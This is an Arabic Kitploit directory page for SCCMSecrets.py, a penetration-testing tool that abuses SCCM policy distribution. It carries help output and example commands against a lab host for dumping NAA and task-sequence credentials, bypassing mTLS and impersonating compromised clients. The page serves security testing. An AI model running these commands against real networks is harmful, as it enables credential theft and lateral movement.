Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
SCCMSecrets — SCCMSecrets.py يهدف إلى استغلال توزيع سياسات SCCM لجمع بيانات الاعتماد، وتحقيق الوصول الأولي، والحركة الجانبية. | Kitploit
أدوات/GitHubGitHub/synacktiv/sccmsecrets
المصادقة والترخيصالاستطلاعهجمات كلمات المرورالاستغلالالحركة الجانبيةجمع المعلوماتما بعد الاستغلالسوء التكوين
GitHubsynacktiv/sccmsecrets

SCCMSecrets

SCCMSecrets.py يهدف إلى استغلال توزيع سياسات SCCM لجمع بيانات الاعتماد، وتحقيق الوصول الأولي، والحركة الجانبية.

عرض المستودع
27333منذ 9 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

SCCMSecrets

SCCMSecrets.py هي أداة لاستغلال سياسات SCCM. تتجاوز مجرد استخراج بيانات اعتماد NAA، وتهدف إلى تقديم نهج شامل لاستغلال سياسات SCCM. يمكن تشغيل الأداة بمستويات امتياز مختلفة، وستحاول الكشف عن أخطاء التكوين المحتملة المتعلقة بتوزيع السياسات. تتوفر تفاصيل أكثر حول الأداة واستخدامها في المقالة المرتبطة: https://www.synacktiv.com/publications/sccmsecretspy-exploiting-sccm-policies-distribution-for-credentials-harvesting-initial

يتوفر أمران فرعيان: policies و files.

السياسات

يتفاعل هذا الأمر الفرعي مع نقطة الإدارة (Management Point) الخاصة بـ SCCM من أجل تفريغ محتويات جميع السياسات السرية (بما في ذلك تكوين NAA، وتسلسلات المهام التي تحتوي على بيانات اعتماد، أو متغيرات المجموعات). للقيام بذلك، يلزم وجود جهاز SCCM معتمد، ويمكن الحصول عليه بثلاث طرق.

  • إذا لم تقم بتوفير حساب جهاز، سيحاول SCCMSecrets تسجيل جهاز واستغلال الموافقة التلقائية على الأجهزة. هذا تكوين SCCM (غير افتراضي) يمنح تلقائيًا حالة "Approved" للأجهزة الجديدة المسجلة بشكل مجهول.
  • إذا قمت بتوفير حساب جهاز، سيقوم SCCMSecrets بتسجيل جهاز جديد باستخدام نقطة التسجيل المُصادَق عليها. افتراضيًا، سيمنح SCCM حالة "Approved" للأجهزة المسجلة عبر هذه النقطة.
  • إذا قمت بتوفير علامة --altauth، سيستغل SCCMSecrets نقطة مصادقة بديلة، مما يسمح بتجاوز متطلبات mTLS، والحصول على جهاز معتمد بدون بيانات اعتماد وبدون الاعتماد على خطأ تكوين الموافقة التلقائية على الأجهزة (مزيد من المعلومات هنا). يعمل هذا فقط عندما تكون نقطة الإدارة مهيأة لاستخدام HTTPS، وعندما يكون موقع SCCM مهيأً لفرض HTTPS على مستوى الموقع بالكامل (إذا كانت نقطة الإدارة تستخدم HTTPS ولكن الموقع يسمح باستخدام HTTP أو HTTPS، فلن تتم الموافقة على الأجهزة تلقائيًا).
  • يمكنك أيضًا توفير جهاز موجود (--use-existing-device). تتوقع هذه الوسيطة دليلاً يحتوي على ملف guid.txt (معرّف الجهاز GUID) وملف key.pem (المفتاح الخاص للجهاز). يمكن أن يكون هذا جهازًا تم إنشاؤه بواسطة تنفيذ سابق لأداة SCCMSecrets، أو الجهاز المقابل لعميل SCCM شرعي تم اختراقه.

لاحظ أن سياسات SCCM مرتبطة بالمجموعات (collections). سيؤدي تسجيل جهاز جديد إلى وضع هذا الجهاز في المجموعات الافتراضية - وبالتالي، سيتم استرداد السياسات السرية من المجموعات الافتراضية فقط. لهذا السبب، قد يكون انتحال شخصية عميل SCCM شرعي تم اختراقه باستخدام --use-existing-device أمرًا مثيرًا للاهتمام. في الواقع، يمكن أن يكون هذا العميل الشرعي جزءًا من مجموعات مخصصة مرتبطة بسياسات سرية إضافية.

سيتم وضع المخرجات في دليل فرعي من دليل loot (بالتنسيق: [timestamp]_policies).

root@kitploit:~
$ python3 SCCMSecrets.py policies -h
                                                                                                                                                                                                                       
 Usage: SCCMSecrets.py policies [OPTIONS]                                                                                                                                                                              
                                                                                                                                                                                                                       
 Dump secret policies from an SCCM Management Point                                                                                                                                                                    
                                                                                                                                                                                                                       
╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ *  --management-point     -mp      TEXT     The client's SCCM management point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case) [required]                                             │
│ *  --client-name          -cn      TEXT     [Optional] The name of the client that will be created in SCCM - or a random name if using an existing device [required]                                                │
│    --machine-name         -u       TEXT     [Optional] A machine account name. If not provided, SCCMSecrets will try to exploit automatic device approval                                                           │
│    --machine-pass         -p       TEXT     [Optional] The password for the machine account                                                                                                                         │
│    --machine-hash         -H       TEXT     [Optional] The NT hash for the machine account                                                                                                                          │
│    --registration-sleep   -rs      INTEGER  [Optional] The amount of time, in seconds, that should be waited after registrating a new device. A few minutes is recommended so that the new device can be added to   │
│                                             device collections (3 minutes by default, may need to be increased)                                                                                                     │
│                                             [default: 180]                                                                                                                                                          │
│    --use-existing-device  -d       TEXT     [Optional] This option can be used to re-run SCCMSecrets.py using a previously registered device ; or to impersonate a legitimate SCCM client. In both cases, it        │
│                                             expects the path of a folder containing a guid.txt file (the SCCM device GUID) and the key.pem file (the client's private key). Note that a client-name value must also │
│                                             be provided to SCCMSecrets (but does not have to match the one of the existing device)                                                                                  │
│    --pki-cert             -c       TEXT     [Optional] The path to a valid domain PKI certificate in PEM format. Required when the Management Point enforces HTTPS and thus client certificate authentication       │
│    --pki-key              -k       TEXT     [Optional] The path to the private key of the certificate in PEM format                                                                                                 │
│    --altauth              -a                [Optional] Use the MP's alternate authentication endpoint. This endpoint bypasses mutual TLS requirements, and automatically approves devices registered through it. It │
│                                             only works when the MP uses HTTPS AND HTTPS is enforced site-wide                                                                                                       │
│    --verbose              -v                [Optional] Enable verbose output                                                                                                                                        │
│    --help                 -h                Show this message and exit.                                                                                                                                             │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯

الملفات

سيقوم هذا الأمر الفرعي بفهرسة الملفات المخزنة على نقطة التوزيع (Distribution Point) وتنزيل الملفات المهمة منها. سيحاول SCCMSecrets أولاً تحديد ما إذا كان الوصول المجهول مفعلاً (غير افتراضي). إذا كان الأمر كذلك، يمكن فهرسة الملفات وتنزيلها بدون مصادقة. بخلاف ذلك، ستكون هناك حاجة إلى بيانات اعتماد المجال.

من الممكن تنزيل الملفات حسب الامتداد. سيقوم SCCMSecrets بفهرسة ملفات جميع الحزم المستضافة على نقطة التوزيع (مما ينتج عنه ملف index.txt بتنسيق tree الخاص بـ Unix)، وسيقوم بتنزيل الملفات ذات الامتدادات المحددة. عند توفير قائمة فارغة من الامتدادات، سيتم تنفيذ فهرسة الملفات فقط. في كلتا الحالتين، من ملف الفهرس الناتج، يمكن استخدام علامة --urls لتنزيل ملفات مهمة محددة (بدون إعادة الفهرسة).

لاحظ أنه يمكن تجاوز متطلبات mTLS، إذا كانت مطبقة، من خلال توفير علامة --nocert.

سيتم وضع المخرجات في دليل فرعي من دليل loot (بالتنسيق: [timestamp]_files).

root@kitploit:~
$ python3 SCCMSecrets.py files --help
                                                                                                                                                                                                                       
 Usage: SCCMSecrets.py files [OPTIONS]                                                                                                                                                                                 
                                                                                                                                                                                                                       
 Dump interesting files from an SCCM Distribution Point                                                                                                                                                                
                                                                                                                                                                                                                       
╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ *  --distribution-point  -dp      TEXT     An SCCM distribution point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case) [required]                                                      │
│    --username            -u       TEXT     [Optional] A username for a domain account. If no account is provided, SCCMSecrets will try to exploit anonymous DP access                                               │
│    --password            -p       TEXT     [Optional] The password for the domain account                                                                                                                           │
│    --hash                -H       TEXT     [Optional] The NT hash for the domain account (e.g. A4F49C406510BDCAB6824EE7C30FD852)                                                                                    │
│    --extensions          -e       TEXT     [Optional] Comma-separated list of extension that will determine which files will be downloaded when retrieving packages scripts. Provide an empty string to not         │
│                                            download anything, and only index files                                                                                                                                  │
│                                            [default: .ps1, .bat, .xml, .txt, .pfx]                                                                                                                                  │
│    --urls                -f       TEXT     [Optional] A file containing a list of URLs (one per line) that should be downloaded from the Distribution Point. This is useful if you already indexed files and do not │
│                                            want to download by extension, but rather specific known files                                                                                                           │
│    --max-recursion       -r       INTEGER  [Optional] The maximum recursion depth when indexing files from the Distribution Point [default: 10]                                                                     │
│    --pki-cert            -c       TEXT     [Optional] The path to a valid domain PKI certificate in PEM format. Required when the Distribution Point enforces HTTPS and thus client certificate authentication      │
│    --pki-key             -k       TEXT     [Optional] The path to the private key of the certificate in PEM format                                                                                                  │
│    --nocert              -n                [Optional] Use the DP's nocert endpoint. This endpoint bypasses mutual TLS requirements                                                                                  │
│    --verbose             -v                [Optional] Enable verbose output                                                                                                                                         │
│    --help                -h                Show this message and exit.                                                                                                                                              │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯

حول فرض HTTPS

افتراضيًا، يمكن للعملاء التفاعل مع نقطة الإدارة أو نقطة التوزيع الخاصة بهم باستخدام HTTP عادي. ومع ذلك، قد يتم تكوين تثبيت SCCM بشكل أكثر أمانًا عن طريق فرض استخدام HTTPS. عندما يكون الأمر كذلك (إما لنقطة الإدارة، أو نقطة التوزيع، أو كلتيهما)، سيتطلب SCCM مصادقة شهادة العميل باستخدام شهادة PKI داخلية لغرض "client authentication" (مصادقة العميل).

لا يزال من الممكن تنفيذ الهجمات المعروضة أعلاه - ومع ذلك، يجب توفير شهادة PKI صالحة من خلال العلامتين --pki-cert و --pki-key (بتنسيق PEM). يجب أيضًا أن تكون عناوين URL الخاصة بنقطة الإدارة / نقطة التوزيع مسبوقة بـ https://. لاحظ أن العلامتين --altauth (للسياسات) و --nocert (للملفات) توفران طرقًا لتجاوز مصادقة mTLS (مزيد من المعلومات هنا).

التثبيت

يمكنك تثبيت SCCMSecrets.py عن طريق استنساخ (clone) المستودع وتثبيت التبعيات.

root@kitploit:~
$ git clone https://github.com/synacktiv/SCCMSecrets
$ cd SCCMSecrets
$ python3 -m venv .venv && source .venv/bin/activate
$ python3 -m pip install -r requirements.txt

أمثلة

فيما يلي بعض الأوامر المثال.

السياسات

استرداد السياسات السرية بدون توفير حساب جهاز. سيحاول هذا استغلال خطأ التكوين الخاص بالموافقة التلقائية على الأجهزة (تكوين غير افتراضي)

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab -cn 'test'

استرداد السياسات السرية بتوفير حساب جهاز. سيعمل هذا في تكوينات SCCM الافتراضية

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab -u 'azule$' -p 'Password123!' -cn 'test'

استرداد السياسات السرية لجهاز موجود بالفعل. يحتوي مجلد compromised_device على ملف guid.txt وملف key.pem.

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab --use-existing-device compromised_device/

استرداد السياسات السرية عندما تفرض نقطة الإدارة HTTPS

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp https://mecm.sccm.lab -u 'azule$' -H '2B576ACBE6BCFDA7294D6BD18041B8FE' -cn 'test' --pki-cert ./cert.pem --pki-key ./key.pem

استرداد السياسات السرية باستخدام نقطة المصادقة البديلة، مما يسمح بتجاوز مصادقة mTLS والحصول على جهاز معتمد بدون توفير بيانات اعتماد (مزيد من المعلومات هنا). يعمل فقط عندما تستخدم نقطة الإدارة HTTPS ويتم فرض HTTPS على مستوى الموقع بالكامل

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp https://mecm.sccm.lab -cn 'test' --altauth

الملفات

استرداد ملفات نقطة التوزيع بدون توفير بيانات اعتماد. سيحاول هذا استغلال الوصول المجهول إلى نقطة التوزيع (تكوين غير افتراضي)

root@kitploit:~
$ python3 SCCMSecrets files -dp http://mecm.sccm.lab

استرداد ملفات نقطة التوزيع باستخدام بيانات الاعتماد. سيعمل هذا في تكوينات SCCM الافتراضية

root@kitploit:~
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon'

استرداد الملفات بقائمة محددة من الامتدادات. قم بالمصادقة باستخدام تجزئة (hash) حساب الجهاز

root@kitploit:~
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -H 'F7EB9C06FAFAA23C4BCF22BA6781C1E2' --extensions '.txt,.xml,.ps1,.pfx,.ini,.conf'

استرداد ملفات محددة من نقطة التوزيع بتوفير قائمة عناوين URL (واحد في كل سطر)

root@kitploit:~
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon' --urls to_download.lst

استرداد ملفات نقطة التوزيع عندما تفرض نقطة التوزيع HTTPS

root@kitploit:~
$ python3 SCCMSecrets.py files -dp https://mecm.sccm.lab -u 'dave' -p 'dragon' --pki-cert ./cert.pem --pki-key ./key.pem

تجاوز مصادقة mTLS عندما تفرض نقطة التوزيع HTTPS

root@kitploit:~
$ python3 SCCMSecrets.py files -dp https://mecm.sccm.lab -u 'dave' -p 'dragon' --nocert
تنزيل الأداة